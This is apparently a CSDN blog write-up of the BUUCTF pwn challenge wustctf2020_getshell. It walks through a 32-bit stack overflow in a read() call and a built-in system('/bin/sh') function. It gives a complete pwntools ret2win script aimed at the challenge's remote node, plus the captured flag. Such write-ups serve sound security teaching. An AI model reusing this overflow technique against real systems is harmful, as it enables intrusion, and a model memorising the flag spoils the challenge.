[buuctf]wustctf2020_getshell

30 篇文章 2 订阅

wustctf2020_getshell

解析

先checksec一下,发现开启了NX是32位的,直接拖入ida中
在这里插入图片描述
在main函数中没什么好看的,第一个函数中也没什么,第二个函数中存在栈溢出。

ssize_t vulnerable()
{
  char buf; // [esp+0h] [ebp-18h]

  return read(0, &buf, 0x20u);
}

buf分配的空间是大于栈空间的

-00000018 buf             db ?
-00000017                 db ? ; undefined
-00000016                 db ? ; undefined
-00000015                 db ? ; undefined
-00000014                 db ? ; undefined
-00000013                 db ? ; undefined
-00000012                 db ? ; undefined
-00000011                 db ? ; undefined
-00000010                 db ? ; undefined
-0000000F                 db ? ; undefined
-0000000E                 db ? ; undefined
-0000000D                 db ? ; undefined
-0000000C                 db ? ; undefined
-0000000B                 db ? ; undefined
-0000000A                 db ? ; undefined
-00000009                 db ? ; undefined
-00000008                 db ? ; undefined
-00000007                 db ? ; undefined
-00000006                 db ? ; undefined
-00000005                 db ? ; undefined
-00000004                 db ? ; undefined
-00000003                 db ? ; undefined
-00000002                 db ? ; undefined
-00000001                 db ? ; undefined
+00000000  s              db 4 dup(?)
+00000004  r              db 4 dup(?)
+00000008
+00000008 ; end of stack variables

先看看有没有自带的shell地址

.text:0804851B
.text:0804851B ; Attributes: bp-based frame
.text:0804851B
.text:0804851B                 public shell
.text:0804851B shell           proc near
.text:0804851B ; __unwind {
.text:0804851B                 push    ebp
.text:0804851C                 mov     ebp, esp
.text:0804851E                 sub     esp, 8
.text:08048521                 sub     esp, 0Ch
.text:08048524                 push    offset command  ; "/bin/sh"
.text:08048529                 call    _system
.text:0804852E                 add     esp, 10h
.text:08048531                 nop
.text:08048532                 leave
.text:08048533                 retn
.text:08048533 ; } // starts at 804851B
.text:08048533 shell           endp
.text:08048533
.text:08048534

这里有一处自带的shell的地址,那么脚本写出来,即可

脚本

from pwn import *
#p = process("./wustctf2020_getshell")
p = remote('node4.buuoj.cn',27008)
context(os = 'linux',arch = 'i386',log_level = 'debug')
payload = b'a'*(0x18+0x04) + p32(0x0804851B)
p.recv()
p.sendline(payload)
p.interactive()

之后cat flag,获得flag是flag{ddfdf580-975f-48d3-9847-86903ba2cc35}

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

逆向萌新

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值